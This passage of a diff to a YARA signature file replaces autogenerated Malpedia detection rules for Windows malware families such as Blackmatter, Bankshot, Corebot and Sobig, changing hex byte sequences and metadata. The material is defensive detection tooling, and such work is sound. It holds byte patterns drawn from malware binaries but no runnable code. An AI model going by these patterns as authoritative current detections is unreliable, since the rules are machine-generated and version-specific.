-		logic_hash = "0a926409298a7da9832c13e4dae3f40393311db59f4c541fcfd58f63e4b0b943"
+		logic_hash = "c5472d51b6e367a8e5153b183b7c173cc8cbe07eef42b7b5523d361aefdeb08e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139146,32 +146126,38 @@ rule MALPEDIA_Win_Aveo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b85ecfaffff 83c40c 50 8bcb 51 8db5f8fdffff }
-		$sequence_1 = { 53 56 57 8db570faffff }
-		$sequence_2 = { 8d8d10feffff e8???????? 8b95f8fdffff 52 8bf0 }
-		$sequence_3 = { 8b4de0 8d55dc 52 6800008000 }
-		$sequence_4 = { 8d8554faffff 8d8d70faffff e8???????? 8b955cfaffff 52 e8???????? }
-		$sequence_5 = { 50 f3a4 ff15???????? 6800010000 8d8df8feffff 6a00 51 }
-		$sequence_6 = { 53 8d4802 8955f4 56 8a51fe }
-		$sequence_7 = { 7424 8b85f4efffff 3bc7 741a }
-		$sequence_8 = { c7442418e8030000 ff15???????? 3bc7 740c 68???????? 50 }
-		$sequence_9 = { c7430801000000 e8???????? 6a06 89430c 8d4310 8d89d41a4100 5a }
+		$sequence_0 = { 4885c9 7402 ffd1 b801000000 }
+		$sequence_1 = { ff15???????? 448bf0 4533c9 4533c0 }
+		$sequence_2 = { 458bc6 33d2 488bc8 e8???????? 4533c9 }
+		$sequence_3 = { 458d7ee0 418bd7 ff15???????? 4821742420 }
+		$sequence_4 = { 4c8bc6 33d2 410fbe00 49ffc0 }
+		$sequence_5 = { 418bc0 f7e9 03d1 c1fa0b 8bc2 c1e81f 03d0 }
+		$sequence_6 = { d3ca 03d0 4183ef01 75ef }
+		$sequence_7 = { 410fbe00 49ffc0 d3ca 03d0 }
+		$sequence_8 = { 8b45fc 817848f0844100 7409 ff7048 e8???????? }
+		$sequence_9 = { 6a26 58 0fb60c85c6574100 0fb63485c7574100 8bf9 }
+		$sequence_10 = { 7403 ff5508 5d c20400 53 8b1d???????? }
+		$sequence_11 = { 735f 8bc6 8bfe 83e03f c1ff06 6bd830 8b04bd808e4100 }
+		$sequence_12 = { c1f906 03048d808e4100 eb02 8bc6 80782900 }
+		$sequence_13 = { 83e801 0f8501010000 c745e0245b4100 8b4508 8bcf 8b7510 }
+		$sequence_14 = { 740e 50 e8???????? 83a6808e410000 59 }
+		$sequence_15 = { 83e801 0f8580000000 8b4508 dd00 ebc6 c745e0285b4100 e9???????? }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Hamweq_Auto : FILE
+rule MALPEDIA_Win_Cova_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5d79f276-5807-56d4-9ea0-44042b180646"
+		id = "0c88fb7f-6fc3-555b-938b-30689bfedd71"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hamweq_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cova_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "f4464ade23ea171530cd0c6e2b15abfaf45c0eb2379ccacb80bd385a306f9a8e"
+		logic_hash = "5acada90a087ad54806fe6fafb57fbcd69c3ce6e348c87bed79cabfe21474d32"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139185,69 +146171,71 @@ rule MALPEDIA_Win_Hamweq_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 51 8b4e08 8945f8 ffb148010000 ff5044 }
-		$sequence_1 = { 8d85e4f1ffff 50 ff5744 50 }
-		$sequence_2 = { 837c910800 8d449108 894514 0f8438010000 837c910c00 }
-		$sequence_3 = { 668b4804 51 ff30 56 e8???????? 83c40c }
-		$sequence_4 = { 51 ff5040 8b0e 8d85ecfeffff 53 50 }
-		$sequence_5 = { 7504 6afe ebea 8b4e08 8b06 ff7170 }
-		$sequence_6 = { 8d4580 8b0b 50 ff5154 }
-		$sequence_7 = { 8b06 753c ffb1d8000000 8d8d00feffff 51 }
-		$sequence_8 = { 51 8d4d80 51 ff5054 eb12 8b5d08 }
-		$sequence_9 = { c3 8b442408 8a08 84c9 7408 }
+		$sequence_0 = { 8b430c 8905???????? 8bd7 4c8d0558bbffff }
+		$sequence_1 = { eb7c 4c8d258e800000 488b0d???????? eb6c }
+		$sequence_2 = { 4881c354020000 83fe06 7298 488d8d70040000 baf80d0000 }
+		$sequence_3 = { 3d80000000 751d 4c8be6 448bfe 4839742450 7419 ff5500 }
+		$sequence_4 = { 4863ca 0fb7444b10 664189844898c90000 ffc2 }
+		$sequence_5 = { 488b0d???????? e9???????? 4c8d25a6800000 488b0d???????? }
+		$sequence_6 = { eb06 8d4257 418800 ffc2 49ffc0 83fa10 }
+		$sequence_7 = { e8???????? 482be0 488b05???????? 4833c4 48898510170000 488dbde0000000 }
+		$sequence_8 = { ff15???????? 488d1574260000 488bce 488905???????? ff15???????? }
+		$sequence_9 = { 41bc14030000 4c8d0520320000 488bcd 418bd4 }
 
 	condition:
-		7 of them and filesize <24576
+		7 of them and filesize <123904
 }
-rule MALPEDIA_Win_Unidentified_089_Auto : FILE
+rule MALPEDIA_Win_Blackmatter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f61e4a77-808b-5e07-801b-03e57ce838b5"
-		date = "2023-07-11"
-		modified = "2023-07-15"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_089_auto.yar#L1-L98"
+		id = "08d983f8-89d3-5398-96f5-8f771b0988c8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackmatter_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "f9666eb88fbd91e0eb2e4b4c8812230b36d73d66192fed407aecfaa8f0ed362a"
+		logic_hash = "67609ff5035d7d172ddf1a903ab845a6e5b4b36e758aab3cb262223fbb37577d"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230705"
-		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
-		malpedia_version = "20230715"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 889dd4feffff 899d84feffff 898588feffff 889d74feffff 33c0 }
-		$sequence_1 = { 8b4508 e8???????? c20c00 e8???????? cc 6a30 }
-		$sequence_2 = { f2e9e3000000 55 8bec eb0d ff7508 e8???????? }
-		$sequence_3 = { 83f904 0f8582000000 8b75d0 8bfb }
-		$sequence_4 = { eb0f ff7634 57 ff562c }
-		$sequence_5 = { 88041e 880c1f 0fb6041e 8b4dfc 03c2 8b550c }
-		$sequence_6 = { 3dffffff7f 0f87a2000000 03c0 3d00100000 7227 }
-		$sequence_7 = { 56 6a01 8d4dec 8975d8 }
+		$sequence_0 = { 57 c745fc00000000 ff35???????? e8???????? 8bf8 }
+		$sequence_1 = { ff75f8 ff15???????? 85c0 0f85e7000000 68???????? }
+		$sequence_2 = { 83c4d8 53 56 57 c745fc00000000 c745f800000000 }
+		$sequence_3 = { e8???????? 8945fc eb0c 83c702 ff4df8 837df800 }
+		$sequence_4 = { e9???????? ff75c8 e8???????? 8945c4 }
+		$sequence_5 = { ff15???????? 83c40c 8d047500000000 50 8d45da }
+		$sequence_6 = { 85f6 0f842c010000 56 ff35???????? e8???????? ff35???????? e8???????? }
+		$sequence_7 = { f7f1 92 3b4508 720b 3b450c }
+		$sequence_8 = { 8945ec e8???????? e8???????? 803d????????00 7405 }
+		$sequence_9 = { ff75f4 e8???????? 5e 5b 8be5 5d c3 }
 
 	condition:
-		7 of them and filesize <389120
+		7 of them and filesize <194560
 }
-rule MALPEDIA_Win_Cloudburst_Auto : FILE
+rule MALPEDIA_Win_Spectre_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6b8a23fb-a80e-5e29-b2d9-5270c8f2c8ea"
+		id = "af0ed3ea-7150-5006-a1e4-f1f71a7eae7a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloudburst_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spectre_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "308a5032c7dd39db54565ddb9261de5bf1d032e66820b9bf51050b90dd0967a4"
+		logic_hash = "168b0e3a3116ff3325056de927c137c412a6159d98ef56a6628c736a2a7417ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139261,32 +146249,32 @@ rule MALPEDIA_Win_Cloudburst_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4533c2 4133e8 45894424f8 41896c24fc 8bc5 }
-		$sequence_1 = { 4883ec08 8b05???????? 41be01000000 4c892c24 85c0 }
-		$sequence_2 = { 4c892c24 85c0 4c8bd9 4c8bd2 410f44c6 4533ed }
-		$sequence_3 = { 488b0d???????? 488d542444 4533c9 4533c0 488bf8 418bdd ff15???????? }
-		$sequence_4 = { 458942f4 458b4c24f8 418bc1 c1e818 }
-		$sequence_5 = { ba00080000 488bcb e8???????? 4c8d442430 }
-		$sequence_6 = { 8b05???????? 41be01000000 4c892c24 85c0 4c8bd9 }
-		$sequence_7 = { 03c2 8bc8 83e00f 3bc2 7407 }
-		$sequence_8 = { 33d6 41891424 4133d3 33fa 4189542404 33df 41897c2408 }
-		$sequence_9 = { 41b904000000 4c8d442440 418d5101 ff15???????? 85c0 74b1 }
+		$sequence_0 = { ebe3 83c8ff 5d 5b 59 59 c3 }
+		$sequence_1 = { 68???????? ff5604 e9???????? 807c242000 0f8414010000 6a02 }
+		$sequence_2 = { 51 e8???????? 59 59 8b8424ec000000 895c2470 896c2474 }
+		$sequence_3 = { 50 e8???????? 83c40c 50 8d8424a0000000 50 e8???????? }
+		$sequence_4 = { 83e801 7440 83e801 742c 83e801 7418 }
+		$sequence_5 = { 894554 53 8d4dc3 e8???????? 8bc8 e8???????? 50 }
+		$sequence_6 = { 83f81b 0f8ee3020000 83f81f 0f8eb3020000 83f821 0f8e06020000 83f822 }
+		$sequence_7 = { 8b4704 8bcd c6400c01 8b4704 8b4004 c6400c00 8b4704 }
+		$sequence_8 = { 51 8d8c2440010000 e8???????? 8d8c24d8000000 e8???????? 8d4c2448 e8???????? }
+		$sequence_9 = { c68424c400000000 ff15???????? 59 59 85c0 743d 6a01 }
 
 	condition:
-		7 of them and filesize <2363392
+		7 of them and filesize <990208
 }
-rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE
+rule MALPEDIA_Win_Jimmy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a55582e3-616b-5a05-b673-fe9235d58867"
+		id = "6665c46a-fce5-5107-8692-d73430db94ca"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vigilant_cleaner_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jimmy_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "c5f2d2527d22c9ed364af085c79f4bf3cbb7661e8edd11d29a8f6f3321af29a9"
+		logic_hash = "5955b25aaac6bf582c8efb23dc58fc592d4dcf4b96826a166327d6d4b0ee873a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139300,34 +146288,34 @@ rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 b868584d56 bb00000000 b90a000000 ba58560000 ed 5b }
-		$sequence_1 = { ed 5b 59 5a }
-		$sequence_2 = { b90a000000 ba58560000 ed 5b }
-		$sequence_3 = { b90a000000 ba58560000 ed 5b 59 5a }
-		$sequence_4 = { bb00000000 b90a000000 ba58560000 ed 5b }
-		$sequence_5 = { bb00000000 b90a000000 ba58560000 ed 5b 59 }
-		$sequence_6 = { b90a000000 ba58560000 ed 5b 59 }
-		$sequence_7 = { bb00000000 b90a000000 ba58560000 ed 5b 59 5a }
-		$sequence_8 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b }
-		$sequence_9 = { ba58560000 ed 5b 59 }
+		$sequence_0 = { 8908 eb11 e8???????? 8945f4 ff75f8 e8???????? 59 }
+		$sequence_1 = { 8b4508 83602c00 8b45fc c9 c3 55 8bec }
+		$sequence_2 = { 89814c010000 eb27 a1???????? 8b4de4 898840010000 ff75e4 }
+		$sequence_3 = { ff7508 ff55fc 59 59 c9 c3 55 }
+		$sequence_4 = { 6a73 58 668945f2 6a20 58 668945f4 6a25 }
+		$sequence_5 = { 8b4508 ff702c 8b4508 ff7024 e8???????? 59 59 }
+		$sequence_6 = { 50 8d45c4 50 8b4508 83c008 50 6a00 }
+		$sequence_7 = { 85c0 7419 8b45fc 0fbe00 8b4df8 0fbe09 }
+		$sequence_8 = { e8???????? 59 b001 c9 c20800 }
+		$sequence_9 = { 6a09 e8???????? 59 59 8945fc ff7510 ff750c }
 
 	condition:
-		7 of them and filesize <1181696
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Bankshot_Auto : FILE
+rule MALPEDIA_Win_Sobig_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4fd3740f-7572-57c0-9152-6fcb3e7bee0c"
+		id = "7eece2fa-1a04-5dd6-834d-8f7a893bf841"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bankshot_auto.yar#L1-L425"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sobig_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "c9fc73e4e08c210def43b3c6eab22aa7333e3e000dbbe6d6d67c9182f6534613"
+		logic_hash = "0a10ba676706f70e2749591376b958283b48eb8278fdd736f5378429d6ec57e3"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -139339,67 +146327,32 @@ rule MALPEDIA_Win_Bankshot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf8 8d5101 8a01 41 84c0 75f9 57 }
-		$sequence_1 = { 8bec 81ec48040000 a1???????? 33c5 8945f8 53 }
-		$sequence_2 = { e9???????? 57 33ff 8bcf 8bc7 894de4 3998c0e10110 }
-		$sequence_3 = { c74048b8e40110 8b4508 6689486c 8b4508 66898872010000 8b4508 83a04c03000000 }
-		$sequence_4 = { 33c9 33d2 66898c45f47fffff 8d8df47fffff 8d7102 668b01 83c102 }
-		$sequence_5 = { 89855c38ffff fec1 888d6438ffff 85fa 0f84a4000000 }
-		$sequence_6 = { 8b45fc 817848b8e40110 7409 ff7048 e8???????? }
-		$sequence_7 = { 0f84a6000000 680c400000 8d85e4bfffff 53 50 }
-		$sequence_8 = { 680c000200 e8???????? 8bf8 83c404 85ff 0f8429060000 6915????????04010000 }
-		$sequence_9 = { 83c40c 8d85bcbaffff 33f6 6828050000 56 50 }
-		$sequence_10 = { e8???????? 83c40c e8???????? 99 b907000000 }
-		$sequence_11 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d90c4e10110 }
-		$sequence_12 = { 0f1f4000 80b40d943dffffaa 41 3bca 7cf3 }
-		$sequence_13 = { c700???????? 8b4508 898850030000 8b4508 59 c74048b8e40110 }
-		$sequence_14 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d80d0e10110 }
-		$sequence_15 = { 8b542420 8987d0000000 8b442424 898fd4000000 8917 }
-		$sequence_16 = { e8???????? 488d0de7030000 e8???????? 33c0 4883c420 }
-		$sequence_17 = { 488d0d1e960000 c705????????30000000 8bd8 c705????????02000000 48c705????????07000000 48893d???????? }
-		$sequence_18 = { 8b0c95c8887100 8844192e 8b0495c8887100 804c182d04 ff4604 eb08 }
-		$sequence_19 = { 51 ff15???????? 8bf0 83feff 89742410 7544 ff15???????? }
-		$sequence_20 = { ff15???????? 68???????? 57 8985bcfbffff }
-		$sequence_21 = { 48c744243002000080 e8???????? 488d8c2440020000 33d2 }
-		$sequence_22 = { 52 8d85c4fbffff 50 ff15???????? 8d8dd0fdffff }
-		$sequence_23 = { 57 83e502 4d ff15???????? 85f6 7407 }
-		$sequence_24 = { 8d1c85b4ef0110 33c0 f00fb10b 8b15???????? 83cfff 8bca }
-		$sequence_25 = { 7508 8b36 85f6 75e7 eb3a 81c694010000 }
-		$sequence_26 = { e9???????? 8d8df0feffff 51 8d95e8feffff }
-		$sequence_27 = { ff15???????? 8b8df8f3ffff c7410800000000 8b95f8f3ffff 837a0400 }
-		$sequence_28 = { 8dbc24de040000 668974245c f3ab 66ab }
-		$sequence_29 = { 85c9 0f85b5010000 488d8c2450030000 e8???????? e9???????? 498d4906 }
-		$sequence_30 = { ff15???????? 41b958000000 488d1558530000 458d41d6 }
-		$sequence_31 = { 8895affbffff 8b859cfbffff 8a8daffbffff 8808 8b9588fbffff }
-		$sequence_32 = { 8b15???????? 6a01 8d4c2414 6a04 51 8944241c }
-		$sequence_33 = { c1f906 6bc030 03048d80f10110 50 ff15???????? 5d }
-		$sequence_34 = { 33cc e8???????? 8be5 5d c20400 8b8c241c3c0000 83c8ff }
-		$sequence_35 = { 7531 e8???????? 8904bdc87f0110 85c0 7514 }
-		$sequence_36 = { 6a03 6a00 6a03 8d8424c0040000 68000000c0 50 ff15???????? }
-		$sequence_37 = { 33d2 488bc8 4889742448 ff15???????? 896c2460 8bdd }
-		$sequence_38 = { 488d9560040000 41b800400000 488bce 89442460 89442468 4889442420 ff15???????? }
-		$sequence_39 = { e8???????? 83c404 eb36 8d530c }
-		$sequence_40 = { 8d7201 8a0a 42 84c9 75f9 6a00 }
-		$sequence_41 = { 8815???????? 488d442438 488d353a490000 41b919000200 4533c0 48c7c102000080 }
-		$sequence_42 = { 6bd030 895de4 8b049dc87f0110 8945d4 8955e8 8a5c1029 80fb02 }
-		$sequence_43 = { 8b8544d4ffff 83c001 6689856cd4ffff 8a4d1c }
-		$sequence_44 = { 51 68???????? 8b4dfc e8???????? b801000000 8be5 }
+		$sequence_0 = { 50 e8???????? ff35???????? 8d45dc 8bcf 6a00 50 }
+		$sequence_1 = { 53 50 ff75ec ff75d8 ff75dc ff15???????? 85c0 }
+		$sequence_2 = { 8a450f 33db 8d7e34 53 8bcf }
+		$sequence_3 = { 5f 5e c20400 53 56 ff742410 8bf1 }
+		$sequence_4 = { e8???????? dd4598 8b4de8 dd5db0 dd45a0 dd5db8 dd45a8 }
+		$sequence_5 = { 8d45b4 50 56 56 68???????? 56 56 }
+		$sequence_6 = { 8d4db0 e8???????? 8a45b0 83ec10 8bfc 8965e0 53 }
+		$sequence_7 = { 8b4d08 68???????? e8???????? 6a01 58 8945ec e9???????? }
+		$sequence_8 = { ff35???????? 8d45dc 8bcf 53 }
+		$sequence_9 = { ff7508 ff15???????? 85c0 7c43 ff7510 ff15???????? }
 
 	condition:
-		7 of them and filesize <860160
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Pandora_Auto : FILE
+rule MALPEDIA_Win_Kutaki_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "808a3fc1-f716-514d-83e0-324ab4b5c047"
+		id = "09920faf-098e-5e77-9216-3a3bfa3a1490"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pandora_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kutaki_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "9af9b8ff0c31cb495b736863fe90279cd9d4c249691d7818a687e6d77e1bb76b"
+		logic_hash = "cdd66e692bdc9daff0e282b4897c4e9339c8de45be71e54a60a94829ea33b905"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139413,32 +146366,32 @@ rule MALPEDIA_Win_Pandora_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48ffcb 48899d60020000 48ffc6 c60300 4c8bc6 488d8d60020000 }
-		$sequence_1 = { 458bce 41c1c90b 4433c9 44895d40 418bce 458bc3 c1c906 }
-		$sequence_2 = { 4885c0 750a b880eeffff e9???????? 4d8bcf 48896c2420 4c8d442430 }
-		$sequence_3 = { 488d1d43ef0200 4885c0 7404 488d5820 8bcf e8???????? 8903 }
-		$sequence_4 = { 4c8d7c2430 4c2bff 4c8dab80010000 0f1f4000 0f1f840000000000 488bd5 498d4d0f }
-		$sequence_5 = { 418bf8 488bea 488bf1 4d85c9 7423 498b4128 }
-		$sequence_6 = { 4533b48db0050700 418bcb 44337014 c1e908 0fb6d1 8bcb }
-		$sequence_7 = { 452bf8 c1ed08 452be0 8d4147 41c1ef08 41c1ec08 458d48e6 }
-		$sequence_8 = { 4403d1 418bc9 4181c139a093fc 41c1c20a 4403d2 f7d1 410bca }
-		$sequence_9 = { 79da 85db 0f8538020000 4c8d45cf 498bd7 488d4db7 e8???????? }
+		$sequence_0 = { 52 6a01 6880000000 ff15???????? 83c41c c745fc0c000000 }
+		$sequence_1 = { 0f803a020000 8b450c 8910 e9???????? }
+		$sequence_2 = { ff15???????? 898528ffffff eb0a c78528ffffff00000000 8d4dc8 ff15???????? }
+		$sequence_3 = { ff15???????? 898568feffff eb0a c78568feffff00000000 8b459c 50 ff15???????? }
+		$sequence_4 = { c745fc3c000000 660fb64dd8 6683e10f 666bc910 0f80c9020000 660fb645c8 6699 }
+		$sequence_5 = { 8d4580 50 ff15???????? 8985d4feffff 6aff 8b8dd4feffff 8b11 }
+		$sequence_6 = { 8b45bc 50 8b4db8 51 ff15???????? 898540ffffff }
+		$sequence_7 = { c745fc08000000 6a74 8d855cffffff 50 ff15???????? 6a65 8d8d4cffffff }
+		$sequence_8 = { 50 68???????? ff15???????? 85c0 0f85bc000000 c745fc1a000000 }
+		$sequence_9 = { 52 ff15???????? 898550ffffff 8b4508 }
 
 	condition:
-		7 of them and filesize <1032192
+		7 of them and filesize <1335296
 }
-rule MALPEDIA_Win_Shifu_Auto : FILE
+rule MALPEDIA_Win_Corebot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b2b85e64-d954-5aeb-b02a-9d97cb3ba3ee"
+		id = "690f2e96-0cf9-536c-962e-128a98cf1d0b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shifu_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.corebot_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "fa5868e6742fc467c77c9f2e2fa5062fd3f24b48dd60ea0ece307848b06e5759"
+		logic_hash = "f317e1a133d092285e381a2c4a6a16830d0d7cb17eced179ceadea1ad59e039d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139452,32 +146405,38 @@ rule MALPEDIA_Win_Shifu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 740d 57 6a1b ba???????? }
-		$sequence_1 = { 6a24 ff7508 ffd6 53 8d45f0 50 }
-		$sequence_2 = { 83651800 8d941a00010000 895508 8b5510 0fbe1410 89550c 85c9 }
-		$sequence_3 = { 740c e8???????? 8325????????00 8d85fcfeffff e8???????? }
-		$sequence_4 = { 50 ff75f4 ff15???????? 85c0 7511 ff75f0 8d443701 }
-		$sequence_5 = { 668985a2fcffff b8170b0000 66898578fcffff 6a14 58 6689857afcffff 8b4348 }
-		$sequence_6 = { 83c102 836d0c02 eb2d 8bd9 8b4f2c 2bd8 035de8 }
-		$sequence_7 = { 8975e4 6a0c 58 e8???????? 8965e8 8bfc 3bfe }
-		$sequence_8 = { 33c0 5e c9 c20c00 55 8bec 85c9 }
-		$sequence_9 = { 56 8d85e8feffff 53 50 ff15???????? 8d85e8feffff 83c410 }
+		$sequence_0 = { 31c0 5e 5d c20800 55 89e5 }
+		$sequence_1 = { 01f3 8b75ec 56 8945f0 }
+		$sequence_2 = { 0fb618 895de8 c745ec07000000 8d141b 84db 8955e8 }
+		$sequence_3 = { 50 e8???????? 83c404 29f7 }
+		$sequence_4 = { 51 ff15???????? 85c0 0f95c0 eb08 c70600000000 }
+		$sequence_5 = { 31f6 8955e8 894dec 43 8b4dec 8d55f0 }
+		$sequence_6 = { 31f6 46 8918 89f0 83c40c 5e 5f }
+		$sequence_7 = { 43 8b4dec 8d55f0 e8???????? 85db 7827 }
+		$sequence_8 = { e8???????? 807e5800 7509 ff7654 ff15???????? 807e5000 7509 }
+		$sequence_9 = { eb10 6800800000 6a00 56 }
+		$sequence_10 = { 85c0 7515 8b4624 3b4620 }
+		$sequence_11 = { ff7010 ff7014 e8???????? 8b45e0 }
+		$sequence_12 = { ff15???????? 8d4634 50 ff15???????? 8d4e0c e8???????? }
+		$sequence_13 = { ff15???????? 807e5000 7509 ff764c ff15???????? 8d4634 50 }
+		$sequence_14 = { ff742428 e8???????? 8b442424 8d4c2410 }
+		$sequence_15 = { 85ff 740f 57 ff7508 }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <1302528
 }
-rule MALPEDIA_Win_Zerocleare_Auto : FILE
+rule MALPEDIA_Win_Photofork_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3657cdfc-db20-5908-b80b-f3809b1ef7a0"
+		id = "f7484eb7-9c89-5a31-aecd-73c9087aa29d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zerocleare_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.photofork_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "684e088a58b2073463dab14cb1ba7b141fc0ac01570965634aebae02ef8b6f64"
+		logic_hash = "ff7473e2612dfba9efd366e89c657d77862d4c88088d1b5f47bab69cec947ba6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139491,71 +146450,78 @@ rule MALPEDIA_Win_Zerocleare_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { db2d???????? b801000000 833d????????00 0f854f6efeff ba05000000 8d0df0694400 e8???????? }
-		$sequence_1 = { 0f1185d8f7ffff f30f7e4010 660fd685e8f7ffff c7401000000000 c7401407000000 668908 c645fc04 }
-		$sequence_2 = { 6a00 8d45e8 50 6a18 }
-		$sequence_3 = { ffd6 6af4 898578f7ffff ffd6 }
-		$sequence_4 = { 0f114598 0f1145a8 ff15???????? 8bf8 }
